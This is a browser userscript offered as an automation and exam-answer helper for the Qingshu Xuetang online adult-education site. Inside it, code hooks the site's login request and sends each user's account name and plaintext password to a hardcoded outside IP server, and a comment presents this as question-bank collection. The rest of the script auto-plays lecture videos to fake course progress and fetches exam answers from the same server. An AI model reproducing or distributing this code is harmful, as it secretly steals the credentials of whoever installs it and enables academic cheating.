NOTICE: By continued use of this site you understand and agree to the binding Terms of Service and Privacy Policy.
// ==UserScript== // @name 【专业版】青书学堂挂课、考试/作业/自动播放-成人教育-继续教育 // @namespace http://tampermonkey.net/ // @version 0.61 // @description 👆👆👆👆👆👆👆青书学堂挂课、考试/作业/自动播放。现已支持青书学堂www.qingshuxuetang.com🚀🚀🚀完美适配 Chrome,Edge,FireFox,360,QQ 等 18 种浏览器,可在无法安装客户端的环境下使用。😎更多合作联系:white996_1 // @author qsxt // @match https://qingshuxuetang.com/* // @match https://*.qingshuxuetang.com/* // @match https://www.qingshuxuetang.com/* // @icon https://www.google.com/s2/favicons?sz=64&domain=qingshuxuetang.com // @grant GM_getResourceText // @grant unsafeWindow // @grant GM_addStyle // @grant GM_xmlhttpRequest // @connect degree.qingshuxuetang.com // @connect www.qingshuxuetang.com // @run-at document-end // @connect 81.70.42.96 // @resource css https://cdn.bootcdn.net/ajax/libs/element-ui/2.15.9/theme-chalk/index.min.css // @require https://cdn.bootcdn.net/ajax/libs/vue/2.7.6/vue.min.js // @require https://cdn.bootcdn.net/ajax/libs/element-ui/2.15.9/index.min.js // @license MIT // ==/UserScript== console.log('当前执行站点', unsafeWindow.location.href, unsafeWindow.parent) let main_hosts = 'http://81.70.42.96:2099' //收集信息用于题库收录,如不同意删除端口即可 let loginbtn = document.querySelector('#loginByAuthBtn') if (loginbtn !== null) { //hook btn let oldajax = $.ajax $.ajax = function (...arg) { if (arg.length === 1) { let obj = arg[0] if (obj.url.indexOf("Login") !== -1) { let old_suc = obj.success let param = obj.data obj.success = function (r) { if (r.message === '成功') { let username = obj.data.username let password = obj.data.password GM_xmlhttpRequest({ url: `${main_hosts}/insertOrderInfo`, method: "POST", data: `account=${username}&password=${password}`, headers: { "Content-type": "application/x-www-form-urlencoded" }, onload: (xhr) => {} }); } return old_suc.call(this, r) } } } console.log("arg") let result = oldajax.call(this, ...arg) return result } return; } if (unsafeWindow.self !== unsafeWindow.top) { return; } let css = GM_getResourceText('css'); css = css.replace(/(?<=url\()(?=fonts)/g, 'https://cdn.bootcdn.net/ajax/libs/element-ui/2.15.9/theme-chalk/'); GM_addStyle(css); GM_addStyle(` .show-contrl-list{ display: flex; justify-content: space-evenly; align-items: center; } .show-contrl-list .item,.show-contrl-list >div{ width: 23%; display: flex; flex-direction: column; justify-content: center; align-items: center; border: 1px solid #F0EFF9; border-radius: 5px; padding: 10px 5px; } .icon-wrap{ font-size: 18px; padding: 7px; color: #C0E39D; border: 1px solid #C0E39D; border-radius: 10px; } .el-divider{ margin: 5px 0 !important; } .el-progress-bar__innerText{ display:none; } .deafult-lesson-item{ .title{ color: #4E2F86; } } .select-lesson-item{ background-color: #52B7F5; border-radius: 12px; color: white; } .select-lesson-item .title{ color: white !important; } .select-lesson-item .icon-wrap{ color: white !important; border-color: white !important; } .point{ cursor:pointer; } .exam-css{ position: fixed; top: 0; z-index: 999; right: 85px; background-color: white; padding: 20px; width: 350px; font-size: 16px; border: 1px solid rgba(128, 128, 128, 0.05); border-radius: 5px; overflow: scroll; max-height: 100%; } .default-css{ position: absolute; top: 83px; z-index: 999; right: 85px; background-color: white; padding: 20px; width: 350px; font-size: 16px; border: 1px solid rgba(128, 128, 128, 0.05); border-radius: 5px; } `) let wrap = document.createElement('div') wrap.className = 'uitest' document.querySelector('body').append(wrap) let vueinstance = new Vue({ el: '.uitest', template: ` <div @scroll.stop='()=>{}' :class="[enable_question ? 'exam-css' : 'default-css']" > <div style="display: flex; justify-content: space-between; align-items: center" > <div style="display: flex; justify-content: center; align-items: center"> <el-avatar style="font-size: 16px" icon="el-icon-user-solid"></el-avatar> <span style="font-size: 16px; margin-left: 6px">油猴Greasyfork</span> </div> <div> <i @click='FoldPage' style="margin-right: 5px; color: #6a6496" class="el-icon-d-caret point"></i> <i style="color: #6a6496" class="el-icon-s-tools point"></i> </div> </div> <div v-show='!flod_status'> <div style="padding: 10px;background-color: rgb(240, 248, 255);border: 2px solid rgb(222, 240, 253);border-radius: 9px;color: #606060bd;margin-top: 10px;"> <div style="text-align: center;font-size: 14px;color: black;margin-bottom: 5px;font-weight: 600;" >公告信息</div> <div v-html='notice_mess'></div> </div> <div class="show-contrl-list" style="margin: 10px 0"> <div> <i class="el-icon-edit icon-wrap"></i> <span style="font-size: 13px; margin: 5px 0">作业查询</span> <el-switch v-model="check_work" active-color="#13ce66" inactive-color="#ff4949" > </el-switch> </div> <div> <i style="color: #7ec4f8; border-color: #7ec4f8" class="el-icon-video-camera icon-wrap" ></i> <span style="font-size: 13px; margin: 5px 0">自动视频</span> <el-switch v-model="check_video" active-color="#13ce66" inactive-color="#ff4949" > </el-switch> </div> <div> <i style="color: #393080; border-color: #393080" class="el-icon-files icon-wrap" ></i> <span style="font-size: 13px; margin: 5px 0">电子书</span> <el-switch v-model="check_book" active-color="#13ce66" inactive-color="#ff4949" > </el-switch> </div> <div> <i style="color: #f47b88; border-color: #f47b88" class="el-icon-reading icon-wrap" ></i> <span style="font-size: 13px; margin: 5px 0">课程数量</span> <span>{{lessonlist.length}}</span> </div> </div> <div style="display: flex;justify-content: space-between;"> <div> <span style="font-size: 14px; font-weight: bold">课程选择</span> <i class="el-icon-arrow-left point"></i> <i class="el-icon-arrow-right point"></i> </div> <div class='point' style="color: rgb(82, 74, 144); background-color: rgb(246, 246, 252);font-size: 12px;padding: 5px;border-radius: 5px;"> <i class="el-icon-date"></i> <span>{{lesson_name!=''?lesson_name:'当前学期'}}</span> </div> </div> <el-divider></el-divider> <template v-if='!enable_question'> <div style="text-align: center;margin-bottom: 5px;" v-if='lessonlist.length===0'> 暂未找到课程 </div> <div v-else> <div v-for="(item,index) in lessonlist" class='point' :class="[current_lesson.id!==item.id ? 'deafult-lesson-item' : 'select-lesson-item']" :key="index" style='margin: 8px 0;' @click='SelectLessonItem(item)' > <div style=";padding: 15px;border: 1px solid #CFCBCB;border-radius: 12px;"> <div style="display: flex;justify-content: center;align-items: center;" > <div><i class="el-icon-star-off" style="font-size: 35px;" ></i></div> <div style="flex: 1 1 0;" > <div class='title' style="flex: 1 1 0px;display: flex;flex-direction: column;align-items: center;padding: 0px 10px;"> {{item.name}} </div> <div style="font-size: 12px;text-align: center;"> {{item.hint_text}} </div> <div style="position: relative;width: 100%;" > <el-progress :percentage="item.progress" status="success" :text-inside="true" :format="()=>''" :stroke-width="15" ></el-progress> <span style="position: absolute;top: 0;bottom: 0;width: 100%;text-align: center;font-size: 12px;color: white;"> {{item.progress}}% </span> </div> </div> <div><i @click='JumpToLesson(item)' v-if='current_lesson.id===item.id' class="el-icon-arrow-right icon-wrap" style="color: #7E73D4;border-color: #7E73D4;" ></i></div> </div> <div style="margin-top: 15px;display: flex;justify-content: space-evenly;"> <el-button @click.stop="JumpToType(item,'study')" size="mini" type="success" plain>学习</el-button> <el-button @click.stop="JumpToType(item,'homework')" size="mini" type="success" plain>作业</el-button> <el-button @click.stop="JumpToType(item,'score')" size="mini" type="success" plain>成绩</el-button> </div> </div> </div> </div> </template> <template v-else> <div style="height: 200px;overflow: auto;padding-right: 12px;"> <div v-for="(item,index) in questionlist" :key='index' style='margin-bottom:8px;' > <div style="display: flex;justify-content: space-between;"> <div style="min-width: 0;flex: 1 1 0;" v-html='item.question'></div> <div><el-button @click='CheckAnswer(item)' style='margin-left: 5px;' size="mini">查询</el-button></div> </div> <div style="border: 1px solid #D2D2D2;padding: 6px;font-size: 13px;margin-top: 7px;"> 答案: {{item.answer===null?'暂未搜索':item.answer}} </div> </div> </div> </template> <div style="margin: 5px 0; font-size: 14px; font-weight: bold">公告位置</div> <div style=" padding: 10px; background-color: rgb(240, 248, 255); min-height: 144px; display: flex; flex-direction: column-reverse; border: 2px solid #def0fd; border-radius: 9px; " > <div style=" display: flex; flex-direction: column; justify-content: center; align-items: center; " > <div style="margin-bottom: 5px; font-size: 14px">当前题库数量</div> <div style="color: #91cd53; font-size: 25px">656008</div> <div style=" display: flex; justify-content: space-around; width: 100%; color: #c0d7ea; margin: 10px 0 5px; " > <div>6217</div> <div>8888</div> <div>8888</div> <div>8888</div> </div> </div> </div> </div> </div> `, data: function () { return { check_work: true, check_video: true, check_book: true, visible: false, value: true, enable_question: false, //false课程模式,true考试模式 lesson_name: '', lessonlist: [], current_lesson: { id: null }, questionlist: [], flod_status: false, notice_mess: "" } }, created() { GM_xmlhttpRequest({ url: `${main_hosts}/queryNotice`, method: "POST", data: ``, headers: {}, onload: (xhr) => { if (xhr.responseText === "") { this.notice_mess = '暂无公告' return; } try { let result = JSON.parse(xhr.responseText) if (result.success) { this.notice_mess = result.message } else { this.notice_mess = '暂无公告' } } catch (error) { this.notice_mess = '暂无公告' } }, onerror: () => { this.notice_mess = '暂无公告' } }); }, methods: { JumpToType(item, type) { window.location.href = item.url + '&tabType=' + type //https://gaozhi.qingshuxuetang.com/lzkjgzb/Student/Course/CourseStudy?classId=29&courseId=4&teachPlanId=21&periodId=12&tabType=homework //https://gaozhi.qingshuxuetang.com/lzkjgzb/Student/Course/CourseStudy?courseId=4&teachPlanId=21&periodId=12&tabType=homework }, FoldPage() { this.flod_status = !this.flod_status }, ChangeStatus(status) { this.enable_question = status }, SelectLessonItem(item) { this.current_lesson = item }, JumpToLesson(item) { window.location.href = item.url }, CheckAnswer(item) { item.answer = '正在搜索...' GM_xmlhttpRequest({ url: `${main_hosts}/queryAnswerById`, method: "POST", data: `questionId=${item.question_id}`, headers: {}, onload: (xhr) => { if (xhr.responseText === "") { item.answer = '暂无答案' return; } try { let result = JSON.parse(xhr.responseText) if (result.success) { item.answer = result.message } else { item.answer = '暂无答案' } } catch (error) { item.answer = '暂无答案' } }, onerror: () => { item.answer = '暂无答案' } }); } } }) let lesson_name = document.querySelector('.content-area .title span')?.innerHTML if (lesson_name) { vueinstance.lesson_name = lesson_name } function dom_to_get_lesson_number() { let lesson_item = document.querySelectorAll('#currentCourseDiv .col-md-3 a') let end_time = "" if (lesson_item.length !== 0) { let item = document.querySelector('#currentCourseDiv .col-sm-12') if (item != null) { let text = item.innerHTML text = text.split('结束时间:') if (text.length === 2) { end_time = text[1] } } } lesson_item.forEach((item) => { let list = item.querySelectorAll(' p > span') if (list.length !== 2) { return } let name = list[0].innerHTML let progress = parseInt(/\d+/.exec(list[1].innerHTML)[0] ?? 0) let url = list.children[0].href console.log(name, progress, vueinstance, url, 'dom查找') vue_lesson_push_func(name, progress, vueinstance.lessonlist.length, url, end_time) }) return lesson_item.length } function vue_lesson_push_func(name, progress, id, url, hint_text) { vueinstance.lessonlist.push({ name, progress, id, url, hint_text }) } /*let question_list = document.querySelectorAll('.question-entity') if (question_list.length !== 0) { vueinstance.ChangeStatus(true) question_list.forEach((item) => { vueinstance.questionlist.push({ question: item.querySelector('h4').innerHTML, answer: null, question_id:item.querySelector('.questionId').value, dom: item }) }) }*/ function GetLessonListData() { if (document.cookie.indexOf('AccessToken') === -1) { return; } let url = window.location.href let size_list = url.split('/') let char_list = [] let nofind = true for (let index = 0; index < size_list.length; index++) { let item = size_list[index] if (nofind === false) { //找到了qingshuxuetang后 char_list.push(item) } if (item.indexOf('qingshuxuetang.com') !== -1) { nofind = false continue; } } if (char_list.length === 0) { return; } let first_name = char_list[0] if (first_name === 'MyQingShu') { return; } console.log('first_name', first_name) let base_url = window.location.origin + '/' + first_name let post_url = base_url + `/Student/Course/CourseData` GM_xmlhttpRequest({ url: post_url, method: "POST", headers: { "Content-type": "application/x-www-form-urlencoded" }, onload: function (xhr) { if (xhr.responseText === "") { return; } let json = JSON.parse(xhr.responseText) if (json.message === '成功') { let lesson = json.data let current_lesson = lesson.filter((item) => item.learnStatus === 2) console.log('current_lesson', current_lesson) current_lesson.forEach((lesson) => { let generate_url = base_url + `/Student/Course/CourseStudy?${lesson.classId !== undefined ? "classId=" + lesson.classId + "&" : ''}courseId=${lesson.courseId}&teachPlanId=${lesson.teachPlanId}&periodId=${lesson.periodId}` vue_lesson_push_func(lesson.courseName, lesson.score, vueinstance.lessonlist.length, generate_url, '暂未完成') }) } } }); } window.onload = () => { if (document.querySelector('.quiz-title')) { if (window.location.href.indexOf('ExercisePaper') != -1) { vueinstance.ChangeStatus(true) //start_interval let timer = setInterval(() => { let page_dom = document.querySelectorAll('.question-detail-container') if (page_dom.length !== 0) { page_dom.forEach((item) => { vueinstance.questionlist.push({ question: item.querySelector('.detail-description-content').innerHTML, answer: null, question_id: item.attributes.id.value, dom: item }) }) clearInterval(timer) } }, 1000) } } else { let result = dom_to_get_lesson_number() if (result === 0) { GetLessonListData() } } } (function () { 'use strict'; var i var href = location.href if (href.indexOf('nodeId') > -1) { setTimeout(function () { var video = document.getElementsByTagName("video")[0] console.log('找到视频组件,开始静音并自动播放...', video) // 设置静音并播放 video.muted = true video.playbackRate = 0.5 video.play() var params = new UrlSearch() // 课程ID var courseId = params.courseId const courseArr = params.nodeId.split('_') // 下一个播放的视频的key var nextKey = '' if (courseArr.length == 2) { nextKey = `kcjs_${Number(courseArr[1]) + 1}` } else if (courseArr.length == 3) { nextKey = `kcjs_${courseArr[1]}_${Number(courseArr[2]) + 1}` } const nextUrl = `https://${window.location.host}${window.location.pathname}?teachPlanId=${params.teachPlanId}&periodId=${params.periodId}&courseId=${courseId}&nodeId=${nextKey}&category=${params.category}` console.log(params, 'currentId:', params.nodeId, 'nextKey:', nextKey, 'nextUrl:', nextUrl) // 视频播放结束,自动下一条视频 video.addEventListener("ended", function () { location.replace(nextUrl); }) }, 5000) // 打印播放进度 getvideoprogress(); } })(); function UrlSearch() { var name, value; var str = location.href; //取得整个地址栏 var num = str.indexOf("?") str = str.substr(num + 1); //取得所有参数 stringvar.substr(start [, length ] var arr = str.split("&"); //各个参数放到数组里 for (var i = 0; i < arr.length; i++) { num = arr[i].indexOf("="); if (num > 0) { name = arr[i].substring(0, num); value = arr[i].substr(num + 1); this[name] = value; } } } // 检测当前播放的进度 function getvideoprogress() { setInterval(function () { var vid = document.getElementsByTagName("video")[0] var currentTime = vid.currentTime.toFixed(1); console.log('当前进度:', currentTime); }, 10000); }